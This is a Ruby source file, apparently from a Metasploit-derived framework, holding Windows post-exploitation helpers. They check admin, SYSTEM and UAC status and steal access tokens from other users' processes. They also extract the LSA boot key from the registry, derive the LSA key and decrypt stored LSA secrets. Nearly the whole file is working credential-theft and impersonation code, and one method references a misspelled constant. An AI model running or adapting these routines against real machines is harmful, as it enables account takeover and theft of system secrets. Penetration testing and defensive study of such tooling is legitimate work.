Files
metasploit-gs/lib/msf/core/post/windows/priv.rb
T
2017-01-22 10:20:03 -06:00

418 lines
11 KiB
Ruby

# -*- coding: binary -*-
require 'msf/core/post/windows/accounts'
require 'msf/core/post/windows/registry'
module Msf::Post::Windows::Priv
include ::Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
INTEGRITY_LEVEL_SID = {
:low => 'S-1-16-4096',
:medium => 'S-1-16-8192',
:high => 'S-1-16-12288',
:system => 'S-1-16-16384'
}
SYSTEM_SID = 'S-1-5-18'
ADMINISTRATORS_SID = 'S-1-5-32-544'
# http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
# ConsentPromptBehaviorAdmin
UAC_NO_PROMPT = 0
UAC_PROMPT_CREDS_IF_SECURE_DESKTOP = 1
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP = 2
UAC_PROMPT_CREDS = 3
UAC_PROMPT_CONSENT = 4
UAC_DEFAULT = 5
#
# Returns true if user is admin and false if not.
#
def is_admin?
if session_has_ext
# Assume true if the OS doesn't expose this (Windows 2000)
session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
else
local_service_key = registry_enumkeys('HKU\S-1-5-19')
if local_service_key
return true
else
return false
end
end
end
# Steals the current user's token.
# @see steal_token
def steal_current_user_token
steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
end
#
# Steals a token for a user.
# @param String computer_name Computer name.
# @param String user_name To token to steal from. If not set, it will try to steal
# the current user's token.
# @return [boolean] TrueClass if successful, otherwise FalseClass.
# @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
#
def steal_token(computer_name, user_name)
pid = nil
session.sys.process.processes.each do |p|
if p['user'] == "#{computer_name}\\#{user_name}"
pid = p['pid']
end
end
unless pid
vprint_error("No PID found for #{user_name}")
return false
end
vprint_status("Stealing token from PID #{pid} for #{user_name}")
begin
session.sys.config.steal_token(pid)
rescue Rex::Post::Meterpreter::RequestError => e
# It could raise an exception even when the token is successfully stolen,
# so we will just log the exception and move on.
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
true
end
#
# Returns true if in the administrator group
#
def is_in_admin_group?
whoami = get_whoami
if whoami.nil?
print_error("Unable to identify admin group membership")
return nil
elsif whoami.include? ADMINISTRATORS_SID
return true
else
return false
end
end
#
# Returns true if running as Local System
#
def is_system?
if session_has_ext
local_sys = resolve_sid(SYSTEM_SID)
if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}"
return true
else
return false
end
else
results = registry_enumkeys('HKLM\SAM\SAM')
if results
return true
else
return false
end
end
end
#
# Returns true if UAC is enabled
#
# Returns false if the session is running as system, if uac is disabled or
# if running on a system that does not have UAC
#
def is_uac_enabled?
uac = false
winversion = session.sys.config.sysinfo['OS']
if winversion =~ /Windows (Vista|7|8|2008|2012|10)/
unless is_system?
begin
enable_lua = registry_getvaldata(
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'EnableLUA'
)
uac = (enable_lua == 1)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error Checking if UAC is Enabled: #{e.class} #{e}")
end
end
end
return uac
end
#
# Returns the UAC Level
#
# @see http://technet.microsoft.com/en-us/library/dd835564(v=ws.10).aspx
# 2 - Always Notify, 5 - Default, 0 - Disabled
#
def get_uac_level
begin
uac_level = registry_getvaldata(
'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System',
'ConsentPromptBehaviorAdmin'
)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Error Checking UAC Level: #{e.class} #{e}")
end
if uac_level
return uac_level
else
return nil
end
end
#
# Returns the Integrity Level
#
def get_integrity_level
whoami = get_whoami
if whoami.nil?
print_error("Unable to identify integrity level")
return nil
else
INTEGRITY_LEVEL_SID.each_pair do |k,sid|
if whoami.include? sid
return sid
end
end
end
end
#
# Returns true if in a high integrity, or system, service
#
def is_high_integrity?
il = get_integrity_level
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system])
end
#
# Returns the output of whoami /groups
#
# Returns nil if Windows whoami is not available
#
def get_whoami
whoami = cmd_exec('cmd.exe /c whoami /groups')
if whoami.nil? or whoami.empty?
return nil
elsif whoami =~ /is not recognized/ or whoami =~ /extra operand/ or whoami =~ /Access is denied/
return nil
else
return whoami
end
end
#
# Return true if the session has extended capabilities (ie meterpreter)
#
def session_has_ext
begin
return !!(session.railgun and session.sys.config)
rescue NoMethodError
return false
end
end
#
# Returns the unscrambled bootkey
#
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
begin
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
rescue Rex::Post::Meterpreter::RequestError
end
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [keybytes[descrambler[x]]].pack("C")
end
return descrambled
end
#
# Converts DES 56 to DES 64
#
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
#
# Returns the LSA key upon input of the unscrambled bootkey
#
# @note This requires the session be running as SYSTEM
#
def capture_lsa_key(bootkey)
vprint_status("Getting PolSecretEncryptionKey...")
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
if pol
print_status("XP or below system")
@lsa_vista_style = false
md5x = Digest::MD5.new()
md5x << bootkey
(1..1000).each do
md5x << pol[60,16]
end
rc4 = OpenSSL::Cipher.new("rc4")
rc4.key = md5x.digest
lsa_key = rc4.update(pol[12,48])
lsa_key << rc4.final
lsa_key = lsa_key[0x10..0x1F]
else
print_status("Vista or above system")
@lsa_vista_style = true
vprint_status("Trying 'V72' style...")
vprint_status("Getting PolEKList...")
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
# If that didn't work, then we're out of luck
return nil if pol.nil?
lsa_key = decrypt_lsa_data(pol, bootkey)
lsa_key = lsa_key[68,32]
end
vprint_good(lsa_key.unpack("H*")[0])
return lsa_key
end
# Whether this system has Vista-style secret keys
#
# @return [Boolean] True if this session has keys in the PolEKList
# registry key, false otherwise.
def lsa_vista_style?
if @lsa_vista_style.nil?
@lsa_vista_style = !!(registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", ""))
end
@lsa_vista_style
end
# Decrypts LSA encrypted data
#
# @param policy_secret [String] The encrypted data stored in the
# registry.
# @param lsa_key [String] The key as returned by {#capture_lsa_key}
# @return [String] The decrypted data
def decrypt_lsa_data(policy_secret, lsa_key)
sha256x = Digest::SHA256.new()
sha256x << lsa_key
1000.times do
sha256x << policy_secret[28,32]
end
aes = OpenSSL::Cipher.new("aes-256-cbc")
aes.key = sha256x.digest
vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
decrypted_data = ''
(60...policy_secret.length).step(16) do |i|
aes.decrypt
aes.padding = 0
decrypted_data << aes.update(policy_secret[i,16])
end
return decrypted_data
end
# Decrypts "Secret" encrypted data
#
# Ruby implementation of SystemFunction005. The original python code
# has been taken from Credump
#
# @param secret [String]
# @param key [String]
# @return [String] The decrypted data
def decrypt_secret_data(secret, key)
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0].ord
return decrypted_data[8..8+dec_data_len]
end
end